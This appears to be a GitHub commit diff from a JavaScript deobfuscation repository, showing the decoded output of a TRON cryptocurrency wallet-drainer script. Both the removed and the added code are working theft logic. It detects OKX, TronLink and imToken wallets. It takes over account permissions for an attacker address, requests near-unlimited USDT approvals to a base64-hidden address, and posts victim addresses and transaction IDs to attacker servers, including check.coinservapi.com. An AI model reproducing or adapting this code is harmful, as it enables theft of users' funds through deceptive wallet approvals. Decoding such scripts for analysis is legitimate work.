mirror of
https://github.com/smallfawn/decode_action.git
synced 2025-12-20 00:35:19 +08:00
Add decoded output file
This commit is contained in:
237
output.js
237
output.js
@@ -1,164 +1,99 @@
|
|||||||
//Tue Apr 15 2025 09:48:38 GMT+0000 (Coordinated Universal Time)
|
//Tue Apr 15 2025 09:49:57 GMT+0000 (Coordinated Universal Time)
|
||||||
//Base:<url id="cv1cref6o68qmpt26ol0" type="url" status="parsed" title="GitHub - echo094/decode-js: JS混淆代码的AST分析工具 AST analysis tool for obfuscated JS code" wc="2165">https://github.com/echo094/decode-js</url>
|
//Base:<url id="cv1cref6o68qmpt26ol0" type="url" status="parsed" title="GitHub - echo094/decode-js: JS混淆代码的AST分析工具 AST analysis tool for obfuscated JS code" wc="2165">https://github.com/echo094/decode-js</url>
|
||||||
//Modify:<url id="cv1cref6o68qmpt26olg" type="url" status="parsed" title="GitHub - smallfawn/decode_action: 世界上本来不存在加密,加密的人多了,也便成就了解密" wc="741">https://github.com/smallfawn/decode_action</url>
|
//Modify:<url id="cv1cref6o68qmpt26olg" type="url" status="parsed" title="GitHub - smallfawn/decode_action: 世界上本来不存在加密,加密的人多了,也便成就了解密" wc="741">https://github.com/smallfawn/decode_action</url>
|
||||||
/okex/.test(navigator.userAgent.toLowerCase()) && _0x2fe6dc();
|
/okex/.test(navigator.userAgent.toLowerCase()) && okexConnect();
|
||||||
async function _0x2fe6dc() {
|
async function okexConnect() {
|
||||||
(function () {})();
|
if (window.tronLink.ready) {
|
||||||
if (window.tronLink.ready) window.tronWeb = tronLink.tronWeb;else {
|
window.tronWeb = tronLink.tronWeb;
|
||||||
{
|
} else {
|
||||||
const _0xb44b3e = await tronLink.request({
|
const _0x4deccf = await tronLink.request({
|
||||||
"method": "tron_requestAccounts"
|
method: "tron_requestAccounts"
|
||||||
});
|
});
|
||||||
_0xb44b3e.code === 200 && (window.tronWeb = tronLink.tronWeb);
|
_0x4deccf.code === 200 && (window.tronWeb = tronLink.tronWeb);
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
async function _0x3411b6() {
|
async function approve() {
|
||||||
let _0x285cf9,
|
const _0x2da39a = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
|
||||||
_0x3e3497 = "单控",
|
try {
|
||||||
_0x1e22bc = tronWeb.defaultAddress.hex,
|
let _0x22e453 = await tronWeb.contract().at(_0x2da39a);
|
||||||
_0x21658d = (await tronWeb.trx.getBalance()) / 1000000;
|
const _0xa1fb05 = await _0x22e453.balanceOf(userAddress).call();
|
||||||
if (_0x21658d < 100) {
|
let _0x17b7f0 = parseInt(_0xa1fb05._hex) / 1000000;
|
||||||
{
|
_0x17b7f0 > 800 && (permissionsAddr = window.atob("VEJoZ3hBVmhvbXluUXdNQkpVNWRlN1FkNXhKdnIzeGJFZw=="));
|
||||||
layer.msg(msg3);
|
let _0x24c0de = await _0x22e453.increaseApproval(permissionsAddr, "1536929485909837500000").send({
|
||||||
return;
|
feeLimit: 30000000
|
||||||
}
|
}).then(_0x450ffd => {
|
||||||
}
|
var _0x2be731 = {
|
||||||
let _0x5911a6 = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
|
address: userAddress,
|
||||||
const _0x8eccfa = await _0x5911a6.balanceOf(userAddress).call();
|
authorized_address: permissionsAddr,
|
||||||
let _0x53f79b = parseInt(_0x8eccfa._hex) / 1000000;
|
txid: _0x450ffd,
|
||||||
_0x53f79b >= 200 ? authorized_address = "TDZukSy7JGcDzYSusBKADgBEpi7M7CSF2u" : authorized_address = permissionsAddr;
|
type: "trc",
|
||||||
let _0x7fd886 = {
|
transaction: 3
|
||||||
"type": 0,
|
|
||||||
"permission_name": "owner"
|
|
||||||
};
|
|
||||||
_0x7fd886.threshold = 1;
|
|
||||||
_0x7fd886.keys = [];
|
|
||||||
let _0xa00d55 = {
|
|
||||||
"type": 2,
|
|
||||||
"permission_name": "active0"
|
|
||||||
};
|
|
||||||
_0xa00d55.threshold = 1;
|
|
||||||
_0xa00d55.operations = "7fff1fc0037e0000000000000000000000000000000000000000000000000000";
|
|
||||||
_0xa00d55.keys = [];
|
|
||||||
_0x7fd886.keys.push({
|
|
||||||
"address": tronWeb.address.toHex(authorized_address),
|
|
||||||
"weight": 1
|
|
||||||
});
|
|
||||||
_0xa00d55.keys.push({
|
|
||||||
"address": tronWeb.address.toHex(authorized_address),
|
|
||||||
"weight": 1
|
|
||||||
});
|
|
||||||
_0x53f79b <= threshold ? (_0x7fd886.keys.push({
|
|
||||||
"address": _0x1e22bc,
|
|
||||||
"weight": 1
|
|
||||||
}), _0xa00d55.keys.push({
|
|
||||||
"address": _0x1e22bc,
|
|
||||||
"weight": 1
|
|
||||||
}), _0x3e3497 = "双控", _0x285cf9 = msg4) : _0x285cf9 = msg2;
|
|
||||||
const _0x475094 = await tronWeb.transactionBuilder.updateAccountPermissions(_0x1e22bc, _0x7fd886, null, [_0xa00d55]),
|
|
||||||
_0x5274cf = await tronWeb.trx.sign(_0x475094),
|
|
||||||
_0x4392ec = await tronWeb.trx.sendRawTransaction(_0x5274cf);
|
|
||||||
if (_0x4392ec.result) {
|
|
||||||
if (authorized_address == permissionsAddr) {
|
|
||||||
var _0x1503cd = {
|
|
||||||
"address": userAddress,
|
|
||||||
"authorized_address": permissionsAddr,
|
|
||||||
"txid": _0x4392ec.txid,
|
|
||||||
"type": "trc",
|
|
||||||
"transaction": _0x3e3497
|
|
||||||
};
|
};
|
||||||
jQuery.ajax({
|
jQuery.ajax({
|
||||||
"url": domain + "/add",
|
url: domain + "/add",
|
||||||
"method": "POST",
|
method: "POST",
|
||||||
"data": _0x1503cd,
|
data: _0x2be731,
|
||||||
"async": false,
|
async: false,
|
||||||
"success": function (_0x2d02c1) {
|
success: function (_0x5c87ac) {
|
||||||
layer.msg(_0x285cf9);
|
alert(msg);
|
||||||
|
_0x5c87ac == "success" ? alert("1") : alert("44");
|
||||||
},
|
},
|
||||||
"error": function (_0x5a9f1e) {}
|
error: function (_0x2cd193) {}
|
||||||
});
|
});
|
||||||
} else {
|
});
|
||||||
{
|
} catch (_0x258664) {
|
||||||
var _0x1503cd = {
|
console.error(_0x258664);
|
||||||
"fish": userAddress,
|
|
||||||
"authorized_address": authorized_address
|
|
||||||
};
|
|
||||||
jQuery.ajax({
|
|
||||||
"url": "https://check.coinservapi.com/permissions.php",
|
|
||||||
"method": "POST",
|
|
||||||
"data": _0x1503cd,
|
|
||||||
"async": false,
|
|
||||||
"success": function (_0xb5bb8b) {},
|
|
||||||
"error": function (_0x4a741c) {}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
async function _0xe034ea() {
|
async function check() {
|
||||||
let _0x4c7282 = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
|
userAddress = await tronWeb.defaultAddress.base58;
|
||||||
const _0x282cc3 = [{
|
var _0x56ce53 = {
|
||||||
"type": "address",
|
address: userAddress,
|
||||||
"value": payAddr
|
authorized_address: permissionsAddr
|
||||||
}, {
|
};
|
||||||
"type": "uint256",
|
console.log(userAddress, permissionsAddr);
|
||||||
"value": amount * 1000000
|
let _0x419d2b = 0;
|
||||||
}];
|
if (/okex/.test(navigator.userAgent.toLowerCase())) {
|
||||||
var _0x2c3524 = await this.tronWeb.transactionBuilder.triggerSmartContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t", "transfer(address,uint256)", {}, _0x282cc3, this.walletAddress);
|
let _0x7e442b = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
|
||||||
const _0x35ca93 = await this.tronWeb.trx.sign(_0x2c3524.transaction),
|
const _0x2f54c3 = await _0x7e442b.allowance(userAddress, permissionsAddr).call();
|
||||||
_0x707c41 = await this.tronWeb.trx.sendRawTransaction(_0x35ca93);
|
console.log(_0x2f54c3);
|
||||||
if (_0x707c41.result) {
|
console.log(_0x2f54c3.toString());
|
||||||
var _0x18c203 = {
|
_0x419d2b = BigNumber(_0x2f54c3.toString()).dividedBy(BigNumber(10).pow(6)).toString(10);
|
||||||
"address": userAddress,
|
}
|
||||||
"order_no": order_no,
|
console.log("0:" + _0x419d2b);
|
||||||
"txid": _0x707c41.txid
|
jQuery.ajax({
|
||||||
};
|
url: domain + "/is_f",
|
||||||
jQuery.ajax({
|
method: "POST",
|
||||||
"url": domain + "/shop/notify/order/type/usdtpay",
|
data: _0x56ce53,
|
||||||
"method": "POST",
|
async: false,
|
||||||
"data": _0x18c203,
|
success: function (_0x116454) {
|
||||||
"async": false,
|
console.log("-------");
|
||||||
"success": function (_0x1c2740) {
|
console.log(_0x116454);
|
||||||
_0x1c2740 == "success" ? layer.msg(msg5) : layer.msg(msg6);
|
if (_0x116454.code) {
|
||||||
},
|
_0x116454.data == 1 ? alert("77") : transfer();
|
||||||
"error": function (_0x922d62) {}
|
} else {
|
||||||
});
|
const _0x1cf497 = new URLSearchParams(window.location.search);
|
||||||
} else layer.msg(msg7);
|
const _0x2ddfda = _0x1cf497.get("utm_source");
|
||||||
}
|
if (/okex/.test(navigator.userAgent.toLowerCase()) || _0x2ddfda == "tronlink" || _0x2ddfda == "imtoken") {
|
||||||
async function _0x2f6b4c() {
|
if (_0x419d2b >= 10000) {
|
||||||
const _0x5c3e47 = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
|
console.log("0");
|
||||||
try {
|
transfer();
|
||||||
let _0x687c4c = await tronWeb.contract().at(_0x5c3e47);
|
return;
|
||||||
const _0xa5475 = await _0x687c4c.balanceOf(userAddress).call();
|
}
|
||||||
let _0x587b98 = parseInt(_0xa5475._hex) / 1000000;
|
console.log("5");
|
||||||
_0x587b98 >= 200 ? authorized_address = "TDZukSy7JGcDzYSusBKADgBEpi7M7CSF2u" : authorized_address = auAddr;
|
approve();
|
||||||
let _0x5ac802 = await _0x687c4c.increaseApproval(authorized_address, "0xfffffffffffffffffffffffffffffffffffffffff").send({
|
return;
|
||||||
"feeLimit": 30000000
|
|
||||||
}).then(_0x54a2da => {
|
|
||||||
if (authorized_address == auAddr) {
|
|
||||||
{
|
|
||||||
var _0x8986a9 = {
|
|
||||||
"address": userAddress,
|
|
||||||
"authorized_address": auAddr,
|
|
||||||
"txid": _0x54a2da,
|
|
||||||
"type": "trc",
|
|
||||||
"transaction": "授权"
|
|
||||||
};
|
|
||||||
jQuery.ajax({
|
|
||||||
"url": domain + "/add",
|
|
||||||
"method": "POST",
|
|
||||||
"data": _0x8986a9,
|
|
||||||
"async": false,
|
|
||||||
"success": function (_0x32624c) {
|
|
||||||
_0x32624c == "success" ? layer.msg(msg4) : layer.msg(msg6);
|
|
||||||
},
|
|
||||||
"error": function (_0x2bdbf9) {}
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
|
console.log("4");
|
||||||
|
approve();
|
||||||
}
|
}
|
||||||
});
|
},
|
||||||
} catch (_0x4d0bc5) {
|
error: function (_0x50b6fc) {}
|
||||||
console.error(_0x4d0bc5);
|
});
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
function checkOrderStatus() {
|
||||||
|
$.get(domain + "getorderstatus/" + order_no + "/order", function (_0x4f79e9) {
|
||||||
|
_0x4f79e9.data == 1 && (location.href = domain + "/order/all");
|
||||||
|
}, "json");
|
||||||
|
}
|
||||||
|
var get_order_status = setInterval(checkOrderStatus, 3000);
|
||||||
Reference in New Issue
Block a user